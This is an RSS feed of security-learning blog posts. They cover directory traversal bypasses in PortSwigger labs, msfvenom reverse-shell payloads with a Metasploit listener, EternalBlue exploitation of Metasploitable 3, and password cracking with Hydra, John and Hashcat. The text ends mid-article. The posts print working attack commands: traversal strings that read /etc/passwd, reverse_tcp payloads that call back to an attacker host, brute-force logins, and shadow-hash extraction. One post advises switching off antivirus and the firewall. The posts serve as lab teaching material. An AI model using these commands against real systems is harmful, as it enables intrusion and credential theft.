<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aneesh Kv on Medium]]></title>
        <description><![CDATA[Stories by Aneesh Kv on Medium]]></description>
        <link>https://medium.com/@aneesh.kv2003?source=rss-38682f7f9b1d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*tOtkF06oG6ceJvcO</url>
            <title>Stories by Aneesh Kv on Medium</title>
            <link>https://medium.com/@aneesh.kv2003?source=rss-38682f7f9b1d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 00:12:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aneesh.kv2003/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Directory Traversal: Understanding the Vulnerability and Common Bypass Techniques]]></title>
            <link>https://medium.com/@aneesh.kv2003/directory-traversal-understanding-the-vulnerability-and-common-bypass-techniques-5e40e310f0d9?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e40e310f0d9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[directory-traversal]]></category>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 16:13:57 GMT</pubDate>
            <atom:updated>2026-10-12T06:17:09.499Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Directory Traversal also known as Path Traversal, is a web security vulnerability that allows an attacker to access files outside the directory intended by an application.</p><p>This vulnerability occurs when the application allows user-constructed file paths without properly validating or restricting the paths.</p><p>Depending on the application’s permission and implementation, successful exploitation may expose sensitive files, application source code, or configuration files.</p><p>In this article, we will explore how directory traversal works, examine common bypass techniques through PortSwigger Web Security Academy Labs.</p><h3><strong>1. Understanding Directory Traversal</strong></h3><p>Consider a web application allows users to download files using a URL like this: 𝘩𝘵𝘵𝘱𝘴://𝘦𝘹𝘢𝘮𝘱𝘭𝘦.𝘤𝘰𝘮//𝘥𝘰𝘸𝘯𝘭𝘰𝘢𝘥?𝘧𝘪𝘭𝘦=𝘳𝘦𝘱𝘰𝘳𝘵.𝘱𝘥𝘧</p><p>Here, the file parameter specifies the file the application should retrieve.</p><p>If the application handles the input insecurely, an attacker may modify the parameter to access directory files outside the intended directory.</p><p>For example: 𝘩𝘵𝘵𝘱𝘴://𝘦𝘹𝘢𝘮𝘱𝘭𝘦.𝘤𝘰𝘮//𝘥𝘰𝘸𝘯𝘭𝘰𝘢𝘥?𝘧𝘪𝘭𝘦=../../../𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝑑</p><p>The sequence ../ represents movement to the parent directory. Repeating this sequence may allow a path to escape its intended starting directory.</p><h3>2. Directory Traversal Testing Workflow</h3><p>In the PortSwigger Directory Traversal labs, the main task is to identify and modify the filename used by the application to load a file.</p><p>The general workflow is:</p><ol><li><strong>Intercept the request:</strong> Use Burp Suite to capture the HTTP request that loads a product image.</li><li><strong>Identify the filename:</strong> Locate the filename parameter in the request, such as filename=44.jpg.</li><li><strong>Modify the filename:</strong> Test appropriate path traversal sequences based on the lab scenario.</li><li><strong>Analyze the response:</strong> Check whether the application returns the requested file, blocks the request, or displays an error.</li><li><strong>Test bypass techniques:</strong> If basic traversal is blocked, investigate the filtering mechanism and try the relevant bypass technique.</li><li><strong>Verify the result:</strong> Confirm whether the application returns the contents of the target file, such as /etc/passwd.</li></ol><p>The exact approach varies between labs depending on how the application handles file paths and validates user input.</p><h3>2. Common Directory Traversal Techniques</h3><p>In all the following PortSwigger Directory Traversal labs, we will modify the filename in the image request to test for path traversal vulnerabilities and retrieve the target file.</p><p>A. Basic Relative Path Traversal</p><p>The sequence ../ moves one directory level upward</p><p>Example: ../../../𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥</p><p>Each ../ attempts to move up one directory. The number of levels required depends on the application&#39;s starting directory.</p><p>PortSwigger lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*90rKBRHDqqe-lUACQ6Ck1w.png" /><figcaption>fig: 1</figcaption></figure><p>Note: In all the PortSwigger Directory Traversal labs, we will modify the underlined file path shown in the image above (fig:1).</p><p>Now change the path /image?filename=44.jpg to this ../../../𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥 as shown in fig: 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*i48jdE7RkiEmET-YuNpFjw.png" /><figcaption>fig: 2</figcaption></figure><p>B. Absolute Path Bypass</p><p>Instead of using relative paths, an attacker may try specifying an absolute filesystem path.</p><p>Example: /etc/passwd as shown in fig: 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*MrJpN96TzFMCIJZgQpHWYg.png" /><figcaption>fig: 3</figcaption></figure><p>C. Nested Traversal Sequences</p><p>Some applications use weak filters that remove traversal sequences from user input.</p><p>An example of a nested sequence is: ....// as shown in fig: 4</p><p>If a filter removes the inner ../ only once, the remaining characters may form a traversal sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MFQhN6mSh_d-wBEJShCTgA.png" /><figcaption>fig: 4</figcaption></figure><p>D. URL encoding</p><p>Applications and web servers may decode URL-encoded characters before processing a request.</p><p>The traversal sequence:../can be represented as: %2e%2e%2f</p><p>Some filters can be bypassed when they inspect the encoded input but do not correctly handle the decoded value</p><p>Double encoding</p><p>Double encoding applies URL encoding twice.</p><p>For example: ../ → %2e%2e%2f → %252e%252e%252f as shown in fig: 5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*c0TmqIvObtL3ZBk0QahFaw.png" /><figcaption>fig: 5</figcaption></figure><p>F. Base directory validation</p><p>Some applications require filenames to begin with a specific directory.</p><p>A vulnerable implementation may still allow traversal sequences after that directory as shown in fig: 6</p><p>For example:</p><pre>/𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥 =&gt; /𝘷𝘢𝘳/𝘸𝘸𝘸/𝘪𝘮𝘢𝘨𝘦𝘴/../../../𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*crFYkiXTxlCfFCrlPsST8Q.png" /><figcaption>fig: 6</figcaption></figure><p>G. File extension Validation and Null Bytes</p><p>Some older applications require a particular file extension, such as .png.</p><p>Historically, certain vulnerable file-handling implementations treated a null byte (%00) as the end of a filename.</p><p>An example of this legacy technique is:</p><pre>/𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥 =&gt; ../../../𝘦𝘵𝘤/𝘱𝘢𝘴𝘴𝘸𝘥%00.𝘱𝘯𝘨</pre><p>The intended bypass was to make validation accept the .png suffix while an older file-handling function ignored it. This technique is generally ineffective against modern runtimes and should be understood as a historical example rather than a universal bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*oTxC5FTycsuAhix1ZR5FQA.png" /><figcaption>fig: 7</figcaption></figure><h3>4. Impact of Directory Traversal</h3><p>So, what can happen if an application is vulnerable to Directory Traversal?</p><p>It depends on which files the application allows an attacker to access. In some cases, the attacker might be able to:</p><ul><li>Read sensitive configuration files.</li><li>Access the application’s source code.</li><li>Gather information about the underlying operating system.</li><li>Find credentials or API keys stored in accessible files.</li><li>Use the exposed information to discover other security weaknesses.</li></ul><p>However, Directory Traversal does not automatically mean an attacker can execute commands on the server. The actual impact depends on the application’s security controls and file permissions.</p><h3>5. How to Prevent Directory Traversal</h3><p>Understanding how the attack works is important, but knowing how to prevent it is equally important.</p><p>Developers can reduce the risk by following a few practices:</p><ul><li><strong>Validate user input:</strong> Don’t blindly trust filenames or paths supplied by users.</li><li><strong>Use an allowlist:</strong> Let users access only predefined files or approved locations.</li><li><strong>Check the resolved path:</strong> Make sure the final path stays within the intended directory, even after resolving ../ sequences and encoded characters.</li><li><strong>Apply least privilege:</strong> Give the application access only to the files it actually needs.</li><li><strong>Test different inputs:</strong> Check how the application handles encoded paths, unusual characters, and attempts to access files outside the allowed directory.</li></ul><p>Simply blocking ../ is not enough, because attackers may try different ways to bypass such filters. The application should verify the final resolved path before accessing a file.</p><h3>Conclusion</h3><p>Directory Traversal shows how a small change to a filename can sometimes expose files that an application was never supposed to reveal.</p><p>By understanding relative paths, encoding techniques, and common filtering weaknesses, we can better recognise this vulnerability during web application security testing.</p><p>I’m exploring these concepts through PortSwigger Web Security Academy and documenting what I learn along the way.</p><p><strong>Learning resource:</strong> <a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger Web Security Academy — File Path Traversal</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e40e310f0d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crafting Payloads with msfvenom & Capturing Sessions with Metasploit]]></title>
            <link>https://medium.com/@aneesh.kv2003/crafting-payloads-with-msfvenom-capturing-sessions-with-metasploit-9a0855179c35?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a0855179c35</guid>
            <category><![CDATA[msfvenom]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 09:21:01 GMT</pubDate>
            <atom:updated>2026-08-03T09:23:13.030Z</atom:updated>
            <content:encoded><![CDATA[<p>In this session, we will create <strong>msfenom payloads</strong> for both <strong>Windows</strong> and <strong>Linux</strong> target machines and configure a <strong>Metasploit listener</strong> to receive the resulting connections in an authorized lab environment.</p><p><strong>Disclaimer:</strong> This article is intended strictly for educational purposes and authorized security testing.</p><h3><strong>Introduction</strong></h3><p><strong>msfvenom</strong> is a powerful payload generation tool included with the Metasploit Framework that enables security professionals to create custom payloads for a wide range of operating systems and architectures. In this session we will create payloads for the target machine and configure a <strong>Metasploit listener (multi/handler)</strong> to receive incoming connections and establish sessions when the payloads are executed.</p><h3>List of payloads associated with msfvenom tool</h3><pre>msfvenom -l payloads</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H65TUP7MZKFgW2c61I3lIA.png" /><figcaption>fig 1: list of payloads</figcaption></figure><h3>Payload Generation for windows target machine</h3><p><strong>tool: </strong>msfvenom</p><p>The following is the general syntax used to generate payloads with <strong>msfVenom</strong>:</p><pre>msfvenom -p &lt;payload&gt; -a &lt;architecture&gt; LHOST=&lt;IP_ADDRESS&gt; LPORT=&lt;PORT&gt; -f &lt;FORMAT&gt; -o &lt;OUTPUT_FILE&gt;</pre><h4>Parameter Description</h4><ul><li><strong>-p &lt;payload&gt;</strong> – Specifies the payload to generate (for example, windows/meterpreter_reverse_tcp).</li><li><strong>-p &lt;architecture&gt;</strong> – Specifies the payload to generate (for example, -a x86).</li><li><strong>LHOST=&lt;IP_ADDRESS&gt;</strong> – The IP address of the attacker&#39;s machine that will receive the incoming connection.</li><li><strong>LPORT=&lt;PORT&gt;</strong> – The port on the attacker&#39;s machine that the payload will connect back to.</li><li><strong>-f &lt;FORMAT&gt;</strong> – Defines the output file format, such as exe, elf, raw, or apk.</li><li><strong>-o &lt;OUTPUT_FILE&gt;</strong> – Specifies the name of the generated payload file.</li></ul><p>The following command is used to create a payload for windows machine.</p><pre>msfvenom -p windows/meterpreter_reverse_tcp -a x86 --platform windows -f exe LHOST=&lt;ip&gt; LPORT=&lt;port&gt; -o &lt;location&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vei1d2quAB2nAQr_QWteNg.png" /><figcaption>fig 2: payload generation for windows</figcaption></figure><h3><strong>Share the file using python http server</strong></h3><pre>python3 -m http.server 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*RxSMGzPrR42OUlRHn14iRw.png" /><figcaption>fig 3: python http server to share file .exe</figcaption></figure><p>Ensure that you turn off windows real time protection and firewall while transferring the file</p><h3><strong>Listener Setup</strong></h3><p><strong>tool: </strong>msfconsole</p><pre>msfconsole<br>use /multi/handler<br>set &lt;payload&gt;<br>show options<br>set LHOST &lt;IP_address&gt;<br>set LPORT &lt;port&gt;<br>run</pre><ul><li><strong>msfconsole</strong> – Starts the Metasploit console.</li><li><strong>use multi/handler</strong> – Loads the listener module.</li><li><strong>set &lt;payload&gt;</strong>– Loads the listener module (payload: windows/meterpreter_reverse_tcp).</li><li><strong>show options</strong> – Displays the module&#39;s settings.</li><li><strong>set LHOST &lt;IP&gt;</strong> – Sets the local IP address to listen on.</li><li><strong>set LPORT &lt;port&gt;</strong> – Sets the listening port (then run starts the listener).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlP5KRRInFhCRlozDSJQ3A.png" /><figcaption>fig 4: listener setup</figcaption></figure><p>Once the connection is established you will see the meterpreter session opened</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2iAC7Gp8BJLK8T7jynJ3A.png" /><figcaption>fig 5: metepreter session</figcaption></figure><h3>Payload Generation for linux target machine</h3><p>The following command is used for payload for linux operating system</p><pre>msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=&lt;ip&gt; LPORT=&lt;port&gt; -f elf -o &lt;location&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yqOjHU3-p3SmZvGYq85pJQ.png" /><figcaption>fig 6: payload generation for linux</figcaption></figure><p>Now share this payload using python http server</p><h3>Listener Setup</h3><pre>msfconsole<br>use /multi/handler<br>set payload linux/x86/meterpreter_reverse_tcp<br>show options<br>set LHOST &lt;IP_address&gt;<br>set LPORT &lt;port&gt;<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*MMnUaTK3todrM5hhEO8lqA.png" /><figcaption>fig 7: listener setup for linux machine</figcaption></figure><p>Once the connection is established you will see the meterpreter session opened</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*kpD89n68RTNOzt4Acc6clw.png" /><figcaption>fig 8: meterpreter session</figcaption></figure><h3>Conclusion</h3><p>In this session, we learned how to generate Windows and Linux payloads using <strong>msfvenom</strong> and configure a <strong>Metasploit multi/handler</strong> listener to receive authorized test connections. These techniques are essential for understanding payload delivery and session management during penetration testing and should only be used in authorized lab environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a0855179c35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Metasploitable 3: A Hands-On Penetration Testing Journey — Part 1]]></title>
            <link>https://medium.com/@aneesh.kv2003/hacking-metasploitable-3-a-hands-on-penetration-testing-journey-part-1-caca69b427e9?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/caca69b427e9</guid>
            <category><![CDATA[metasploitable3]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurtiy]]></category>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 09:08:48 GMT</pubDate>
            <atom:updated>2026-07-14T09:08:48.621Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Disclaimer:</strong> This article is intended strictly for educational purposes and authorized security testing. Only perform these techniques against systems and lab environments that you own or have explicit permission to test.</p><h3>Introduction</h3><p>Metasploitable 3 is an intentionally vulnerable virtual machine designed for practicing penetration testing and ethical hacking in a safe environment.</p><p>In this first part of the series, we will explore and test services such as FTP, SSH, SMB, and MySQL through reconnaissance, enumeration, and exploitation. The goal is to gain practical experience and understand how weaknesses in network services can be identified and exploited during authorized security testing.</p><h3><strong>Identifying Services associated with machine</strong></h3><p><strong>Command: </strong>nmap -sV &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7GAxNSnH2HcP9Wc_OZepw.png" /><figcaption>figure 1: services associated with machine</figcaption></figure><h3><strong>1. FTP</strong></h3><p>FTP (File Transfer Protocol) is a network protocol used to transfer files between a client and a server. By default, FTP operates on <strong>TCP port 21</strong>.</p><p>First, let’s check whether the FTP service <strong>allows anonymous login</strong>.</p><p><strong>Command: </strong>nmap --script ftp-anon.nse -p21 &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*vDBPa8OCr2TsyKz0rOgn5g.png" /><figcaption>figure 2: ftp-anonymous check</figcaption></figure><p>The above scan confirms that the machine does not support anonymous login. So let’s try to crack the password using tool <strong>hydra</strong></p><p><strong>Command: </strong>hydra -L /root/user.txt -P /root/pass.txt ftp://&lt;target_ip&gt;/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z1qWak1Vj03J1bONzM4AjQ.png" /><figcaption>figure 3: cracked password using hydra for ftp</figcaption></figure><h3>2. SSH</h3><p>SSH (Secure Shell) is an application-layer protocol used to securely access and manage remote systems over an encrypted network connection. By default, SSH operates on TCP port 22.</p><p>First, let’s check the authentication methods supported by the SSH service on the target machine.</p><p><strong>Command: </strong>nmap --script ssh-auth-methods.nse -p22 &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*_RnTqbEDT2dh8dq7pXulpA.png" /><figcaption>figure 4: supported authentication method</figcaption></figure><p>The above scan confirms that the machine allows password based authentication. So let’s try to crack the password using tool <strong>hydra</strong></p><p><strong>Command:</strong> hydra -L /root/user.txt -P /root/pass.txt ssh://&lt;target_ip&gt;/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YaTwsV-wrhUjs9Z-PsmUQ.png" /><figcaption>figure 4: cracked password using hydra for ssh</figcaption></figure><h3>3. MySQL</h3><p>MySQL is an open-source relational database management system (RDBMS) used to store, organize, and manage structured data. It uses SQL (Structured Query Language) to interact with databases and typically operates on TCP port 3306.</p><p>First, let’s check whether the MySQL service allows users to log in with an empty password.</p><p><strong>Command: </strong>nmap --script mysql-empty-password.nse -p3306 &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*jvNzAkv4XO3KeKn8BuoZwA.png" /><figcaption>Figure 5 : check for empty password</figcaption></figure><p>Next let’s gather some information about the MySQL service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Abhe78R7odvmyw78nEE5yQ.png" /><figcaption>figure 6: information about MySQL service</figcaption></figure><p>Next Let’s check available databases for root user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkGahYuoh2J2G52L-58j9A.png" /><figcaption>Figure 7: Enumerating MySQL databases using the root account with an empty password.</figcaption></figure><p>The above scan successfully lists several databases, including information_schema, cards, mysql, performance_schema, test, and wordpress.</p><h3>4. SMB</h3><p>SMB (Server Message Block) is an application-layer network protocol used for sharing files, printers, and other resources between devices on a network. SMB typically operates on TCP port 445.</p><p>First, let’s gather information about the target’s operating system through the SMB service using Nmap’s smb-os-discovery NSE script.</p><p><strong>Command: </strong>nmap --script smb-os-discovery.nse -p139,445 192.168.68.120</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMz2VvBPrxs2pxhwJshJ8A.png" /><figcaption>Figure 8: SMB OS discovery using Nmap.</figcaption></figure><p>Next let’s crack the password for SMB service using hydra tool.</p><p><strong>Command: </strong>hydra -L /root/user.txt -P /root/pass.txt smb://&lt;target_ip&gt;/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BuIO6bvMuU5BsIYfpPbnCQ.png" /><figcaption>Figure 9 : cracked password for SMB using hydra</figcaption></figure><p>Next, let’s check whether the target is vulnerable to <strong>MS17–010</strong>, a critical remote code execution vulnerability affecting Microsoft SMBv1 servers.</p><p><strong>Command: </strong>nmap --script smb-vuln-ms17–010.nse -p139,445 &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ffz_ZGey2NIzm9YgjbhsLg.png" /><figcaption>Figure 10: Detecting the MS17–010 (EternalBlue) vulnerability.</figcaption></figure><p>The above scan confirms that the target is <strong>vulnerable to MS17–010 (CVE-2017–0143)</strong>, with a <strong>HIGH</strong> risk rating. <strong>EternalBlue</strong> is an exploit that targets a vulnerability in Microsoft’s <strong>SMBv1 protocol</strong>, identified as <strong>MS17–010</strong>. It can allow an attacker to remotely execute code on a vulnerable Windows system without authentication.</p><p>Let’s exploit the above vulnerability using <strong>msfconsole</strong> tool</p><p><strong>Command: </strong>search eternalblue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ItiocwC5ZTxdN0_lcm5Y9g.png" /><figcaption>Figure 11 : search available exploit codes for smb</figcaption></figure><p><strong>Command: </strong>use exploit/windows/smb/ms17_010_eternalblue</p><p><strong>Command: </strong>show options</p><p><strong>Command: </strong>set RHOSTS &lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1trHKY-Zf6PJ1zfE0vIv0Q.png" /><figcaption>Figure 12: setting target for exploitation</figcaption></figure><p>First, the <strong>use exploit/windows/smb/ms17_010_eternalblue</strong> command selects the EternalBlue exploit module in Metasploit. The <strong>show options </strong>command displays the required configuration options for the module, and <strong>set RHOSTS &lt;target_ip&gt;</strong> sets the IP address of the target machine to be tested.</p><p><strong>Command: </strong>run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdI-c_moNz4PqTAFfEt3vg.png" /><figcaption><em>Figure 13: Successful exploitation of MS17–010 using EternalBlue.</em></figcaption></figure><p>The EternalBlue exploit was successfully executed against the vulnerable <strong>Windows Server 2008 R2</strong> target. Metasploit established a connection, exploited the <strong>MS17–010 SMBv1 vulnerability</strong>, and successfully opened a <strong>Meterpreter session</strong>, providing remote access to the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*jn_hkBQ-uRfouMcDyCWDng.png" /><figcaption>Figure 14: Meterpreter session opened and gaining shell access</figcaption></figure><h3>Conclusion</h3><p>In this first part of our Metasploitable 3 penetration testing journey, we explored several network services, including <strong>FTP, SSH, MySQL, and SMB</strong>. Along the way, we performed service enumeration, tested authentication mechanisms, discovered weak credentials and security misconfigurations, and identified the critical <strong>MS17–010 (EternalBlue)</strong> vulnerability. We then successfully exploited it to gain a Meterpreter session on the target system.</p><p>This lab shows how simple weaknesses, such as default credentials, empty passwords, outdated software, and insecure configurations, can put an entire system at risk. In the next part, we’ll continue exploring Metasploitable 3 and uncover more vulnerable services and exploitation techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caca69b427e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Password Cracking Really Works: A Hands-On Lab Guide]]></title>
            <link>https://medium.com/@aneesh.kv2003/how-password-cracking-really-works-a-hands-on-lab-guide-65c89fbead5e?source=rss-38682f7f9b1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/65c89fbead5e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Aneesh Kv]]></dc:creator>
            <pubDate>Mon, 13 Jul 2026 10:18:30 GMT</pubDate>
            <atom:updated>2026-07-13T10:22:25.167Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Disclaimer:</strong> This article is intended strictly for educational purposes and authorized security testing. Only perform password auditing against systems, accounts, and lab environments you own or have explicit permission to test.</p><h3>Introduction</h3><p>Passwords remain one of the most common authentication methods used to protect systems and user accounts. However, weak passwords, password reuse, and improper password storage can lead to system compromise.</p><p>In this hands on guide, we will explore few password cracking techniques</p><ol><li>fcrackzip</li><li>john the ripper</li><li>hydra</li><li>hashcat</li></ol><h3>Password Hashing</h3><p><strong>Hash:</strong> A fixed length-string of characters generated from data (such as a text, a password etc) using hash function. Hashing is one way process because you cannot recover the original input data from hash.</p><p><strong>Common hash algorithms:</strong></p><p>md5sum, sha1sum, sha256sum, sha512sum, bcrypt, argon</p><p><strong>Applications</strong></p><p>· Password encryption</p><p>· File integrity check</p><p>· Messages authentication</p><p>· Digital signatures</p><p><strong>Generation of password hashes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*XJ74djrvIwiPoM51MLwYvw.jpeg" /><figcaption>figure-1 : generation of password hashes</figcaption></figure><p><strong>Hash identification</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*aypdAVZ12MxQhguBwUEO8g.png" /><figcaption>figure 2: hash identification</figcaption></figure><h3>1. Fcrackzip</h3><p>Fcrackzip is password cracking tool used to crack passwords for zip files which works by trying different password cracking techniques such as brute-force attacks and dictionary attacks.</p><p>First we install the package for this tool</p><p><strong>Command: </strong>sudo apt search fcrackzip</p><p><strong>Command:</strong> sudo apt update</p><p><strong>Command: </strong>sudo apt install fcrackzip</p><p>First, we create three files named a, b, and c using the <strong>touch a b c</strong> command. Next, we create an encrypted ZIP archive using <strong>zip -e z.zip a b c</strong>, which prompts us to enter and verify a password. Finally, we attempt to recover the password using fcrackzip in dictionary mode by providing the path to a wordlist containing potential password candidates.</p><ol><li><strong>command:</strong> touch a b c</li><li><strong>command: </strong>zip -e z.zip a b c</li><li><strong>command: </strong>fcrackzip -D -p y.txt -u z.zip</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*rIDyQlaHwTfGkTxnAPwilQ.jpeg" /><figcaption>figure 3: dictionary attack with fcrackzip</figcaption></figure><p>In this we use fcrackzip in brute-force mode to test lowercase password combinations ranging from 4 to 10 characters in length and identify the correct password for the archive.</p><ol><li><strong>command:</strong> touch a b c</li><li><strong>command: </strong>zip -e z.zip a b c</li><li><strong>command: </strong>fcrackzip -b -c a -l 4–10 -u z.zip</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*lfGHX65FjvZBSq8acI8yPQ.jpeg" /><figcaption>figure 4: brute-force attack with fcrackzip</figcaption></figure><h3><strong>2. John the Ripper</strong></h3><p><strong>John the Ripper</strong> is a password-auditing and recovery tool that works by generating password candidates, hashing each candidate using the same algorithm as the target hash, and comparing the generated hash with the target.</p><p><strong>Command:</strong> john &lt;options&gt; hash.txt</p><p><strong>Formats supported by john</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*IfP_flsH6CK6D5kn2-tYgg.png" /><figcaption>figure 5: hash algorithms</figcaption></figure><h4><strong>Common modes</strong></h4><p><strong>Wordlist mode: </strong>Tries passwords from a dictionary or password list.</p><p><strong>Command: </strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFp-h0oAr179sQS8itHvuA.jpeg" /><figcaption>figure 6: wordlist mode</figcaption></figure><p><strong>Brute force mode:</strong> Performs brute force attack to find correct password</p><p><strong>Command: </strong>john --mask=?d?d?d?d hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jiasmTQp6J6AcCdnCthwbQ.jpeg" /><figcaption>figure 7: brute force attack mode</figcaption></figure><h4><strong>Cracking a Linux Password Hash with John the Ripper</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dHDNOqFwWF4Qo3q7Adoiug.jpeg" /><figcaption>figure 8:password cracking for linux user</figcaption></figure><p>In this example, a test linux user was created, then we extracted the password hash for the test user <strong>stud</strong> from <strong>/etc/shadow </strong>(which contains password hashes) and saved to <strong>hash.txt. </strong>John the Ripper is then used with the RockYou wordlist to perform a dictionary attack against the stored hash to find correct password for the user.</p><h4><strong>Password cracking for zip files, pdf files, rar files</strong></h4><p><strong>Command: </strong>zip2john z.zip &gt; hash.txt</p><p><strong>Command: </strong>pdf2john z.pdf &gt; hash.txt</p><p><strong>Command: </strong>rar2john z.rar &gt; hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Xm4pc-7g39-bTiptbeobQ.png" /><figcaption>figure 9: cracking password for zip file</figcaption></figure><h3><strong>3. Hydra</strong></h3><p>Hydra is an online authentication auditing tool that tests username and password combinations against network services.</p><p>It support multiple protocols such as HTTP, FTP, SSH, TELNET, MYSQL, SMB, SMTP etc.</p><p>In this section we will explore the password cracking for services such as FTP, SSH, MYSQL, TELNET.</p><p><strong>Command: </strong>hydra [options] &lt;target&gt; &lt;service&gt;</p><p><strong>Command: </strong>hydra -L l.txt -P p.txt mysql://&lt;target_ip&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdMbZHijKR9FUwimRkS5Kg.png" /><figcaption>Figure 10: Password auditing of MySQL, FTP, and SSH services using Hydra.</figcaption></figure><h3><strong>4. Hashcat</strong></h3><p>Hashcat is a high-performance password recovery tool that supports numerous hash algorithms and attack modes. It works by generating possible password candidates, hashing them using the same algorithm as the target hash, and comparing the results to identify a match. Hashcat supports various techniques, including dictionary attacks, brute-force/mask attacks, combinator attacks, hybrid attacks, and rule-based attacks.</p><h4><strong>Hashcat hash identification</strong></h4><p><strong>Command: </strong>hashcat --identify hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlrq8lo_nyeJdZ3nu4laFA.png" /><figcaption>figure 10: hash identification</figcaption></figure><p><strong>Syntax:</strong> hashcat -m &lt;hash_type&gt; -a &lt;attack_mode&gt; &lt;hash_file&gt;<br>&lt;wordlist/mask&gt;</p><h4><strong>Hash Modes 